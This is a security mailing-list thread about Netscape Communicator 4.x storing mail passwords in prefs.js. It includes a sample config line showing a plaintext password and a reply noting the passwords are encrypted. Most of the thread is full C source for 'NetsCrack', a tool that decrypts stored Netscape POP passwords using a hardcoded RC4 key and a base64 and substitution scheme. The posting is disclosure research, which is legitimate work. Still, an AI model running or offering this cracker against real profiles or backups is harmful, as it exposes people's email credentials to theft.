Onderwerp: Re: Netscape Communicator 4.x sensitive informations in configuration

We use Netscape 4.74 with roaming profiles using POP3, and my prefs.js file
keeps the password hidden:

user_pref("mail.pop_name", "byron");
user_pref("mail.pop_password", "encryptedstuff");
user_pref("mail.remember_password", true);

I am not sure if the encryption is turned on someplace, but I suspect it is
on by default, for it is definitely there for all of our POP clients using
4.74.

Cheers,
Byron


Marc Ruef wrote:

> Hi!
>
> It seems that I'm one of the last Netscape 4.x users. During my research
> for using roaming profiles I've checked a file named prefs.js in my
> netscape folder (C:\Program Files\Netscape\Users\mruef).
>
> The following paste shows the IMAP mail part of this configuration file.
> You can see that the line 17 shows the unencrypted password
> ("MyPassword4").
>
> --- cut ---
>
> user_pref("mail.imap.server.imap.computec.ch.admin _url", "");
> user_pref("mail.imap.server.imap.computec.ch.capab ility", 4641);
> user_pref("mail.imap.server.imap.computec.ch.check _new_mail", true);
> user_pref("mail.imap.server.imap.computec.ch.check _time", 60);
> user_pref("mail.imap.server.imap.computec.ch.clean up_folders_on_exit",
> false);
> user_pref("mail.imap.server.imap.computec.ch.clean up_inbox_on_exit",
> false);
> user_pref("mail.imap.server.imap.computec.ch.delet e_model", 2);
> user_pref("mail.imap.server.imap.computec.ch.dual_ use_folders", true);
> user_pref("mail.imap.server.imap.computec.ch.empty _trash_on_exit",
> false);
> user_pref("mail.imap.server.imap.computec.ch.empty _trash_threshhold",
> 0);
> user_pref("mail.imap.server.imap.computec.ch.isSec ure", true);
> user_pref("mail.imap.server.imap.computec.ch.names pace.other_users",
> "");
> user_pref("mail.imap.server.imap.computec.ch.names pace.personal",
> "\"INBOX.\"");
> user_pref("mail.imap.server.imap.computec.ch.names pace.public",
> "\"shared.\"");
> user_pref("mail.imap.server.imap.computec.ch.offli ne_download", false);
> user_pref("mail.imap.server.imap.computec.ch.overr ide_namespaces",
> true);
> user_pref("mail.imap.server.imap.computec.ch.passw ord", "MyPassword4");
> user_pref("mail.imap.server.imap.computec.ch.remem ber_password", true);
> user_pref("mail.imap.server.imap.computec.ch.serve r_sub_directory", "");
> user_pref("mail.imap.server.imap.computec.ch.userN ame", "mruef");
> user_pref("mail.imap.server.imap.computec.ch.using _subscription", true);
>
> -- cut ---
>
> This is also true for POP3 and perhaps for SMTP, NNTP and LDAP
> passwords. The passwords are only stored if the remember password option
> is set (e.g. line 18).
>
> It may be possible to extract these passwords during a sneaking access
> to the system (local or remote by a backdoor)[1, 2] or examine a backup.
> This weakness should be keeped in mind.
>
> I'm not sure if this vulnerability exists in other Netscape versions
> (e.g. 6 or 7).
>
> Bye, Marc
>
> [1] http://www.idefense.com/advisory/11.19.02c.txt
> [2] http://www.securityfocus.com/bid/6215
>
> --
> Computer, Technik und Security http://www.computec.ch/
> Meine private Webseite http://www.computec.ch/mruef/

Hi,

Just in case you find a Netscape 4.x "encrypted" password, and you
cannot sniff it on the wire or use a local proxy, have a look at the
code below.

I know some people have already noticed that the password is XOR-ed with
a constant byte stream, but as far as I know nobody documented that this
stream was RC4-generated.

PS. I am not sure this is DMCA-compliant :-)

Regards,
-----------------------------------
Nicolas RUFF
Security Consultant / EdelWeb
-----------------------------------

//
// NetsCrack.cpp : Netscape 4.x POP Passwords Cracker
// Tested against Netscape 4.5
// C0ded by Nicolas RUFF / EdelWeb
// You may freely distribute this source code unmodified
//

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

/* ---------------------------------------------------------------- */
// The "original" RC4 algorithm source code

/* rc4.h */
typedef struct rc4_key
{
unsigned char state[256];
unsigned char x;
unsigned char y;
} rc4_key;

void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key
*key);
void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key);
static void swap_byte(unsigned char *a, unsigned char *b);


/* r4.c */
void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key
*key)
{
unsigned char swapByte;
unsigned char index1;
unsigned char index2;
unsigned char* state;
short counter;

state = &key->state[0];
for (counter = 0; counter < 256; counter++)
state[counter] = counter;

key->x = 0;
key->y = 0;
index1 = 0;
index2 = 0;

for(counter = 0; counter < 256; counter++)
{
index2 = (key_data_ptr[index1] + state[counter] + index2) % 256;

swap_byte(&state[counter], &state[index2]);
index1 = (index1 + 1) % key_data_len;
}
}

void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
{
unsigned char x;
unsigned char y;
unsigned char* state;
unsigned char xorIndex;
short counter;

x = key->x;
y = key->y;

state = &key->state[0];
for(counter = 0; counter < buffer_len; counter ++)
{
x = (x + 1) % 256;
y = (state[x] + y) % 256;
swap_byte(&state[x], &state[y]);

xorIndex = (state[x] + state[y]) % 256;

buffer_ptr[counter] ^= state[xorIndex];
}
key->x = x;
key->y = y;
}

static void swap_byte(unsigned char *a, unsigned char *b)
{
unsigned char swapByte;

swapByte = *a;
*a = *b;
*b = swapByte;
}

/* ----------------------------------------------------------------- */
// Quick and dirty base64 decoding

unsigned char transcode( unsigned char c ) {
if ((c >= 'A') && (c <= 'Z'))
return (c - 'A');
if ((c >= 'a') && (c <= 'z'))
return (c - 'a' + 26);
if ((c >= '0') && (c <= '9'))
return (c - '0' + 52);
if (c == '+')
return 62;
if (c == '/')
return 63;
if (c == '=')
return 0;
printf("transcode error\n");
return 0;
}

void decode64( unsigned char a, unsigned char b, unsigned char c,
unsigned char d, unsigned char *dst ) {
unsigned char x, y, z;

// Transcode { A-Z a-z 0-9 + / } -> ...
// 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47

x = transcode(a);
y = transcode(b);
z = transcode(c);

x = ( (transcode(a)) << 2 ) + ( ((transcode(b)) & 0x30) >>
4); // pattern = 00110000
y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >>
2); // pattern = 00001111, 00111100
z = ( ((transcode(c)) & 0x03) << 6 ) + ( (transcode(d)) );

dst[0] = x;
dst[1] = y;
dst[2] = z;
}

/* ---------------------------------------------------------------- */
// Main()

int main(int argc, char* argv[])
{
char szPwd[256];
unsigned char szClear[256];
int i,j;

// Netscape "Magic" Key
unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB,
0x3E };
rc4_key key;

// [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution
// [0x40 ... 0x7F] use substitution table below
// Surprisingly T*T = Id :-)
unsigned char table[] = {
0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x41, 0x42,
0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x61, 0x62,
0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D,
0x7B, 0x7C, 0x7D, 0x7E, 0x7F
};

printf("Enter registry encrypted password :");
gets(szPwd);

if (strlen(szPwd) > 0) {
/* --------------- REGISTRY ENCRYPTION --------------- */
strrev(szPwd);
for (i=0; i<strlen(szPwd); i++) {
if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80))
szPwd[i] = table[szPwd[i] - 0x40];
}
printf("File password : %s\n", szPwd);
}
else {
printf("Enter file encrypted password :");
gets(szPwd);
}
/* --------------- FILE ENCRYPTION --------------- */
/* ATOB_AsciiToData() */
j=0;
for (i=0; i<strlen(szPwd); i+=4) {
decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j]));
j += 3;
}
szClear[j] = '\0';

/* RC4_Decrypt */
prepare_key( key_data, 8, &key);
rc4( szClear, strlen((char *)szClear), &key );
printf("Clear text password : %s\n", szClear);

return 0;
}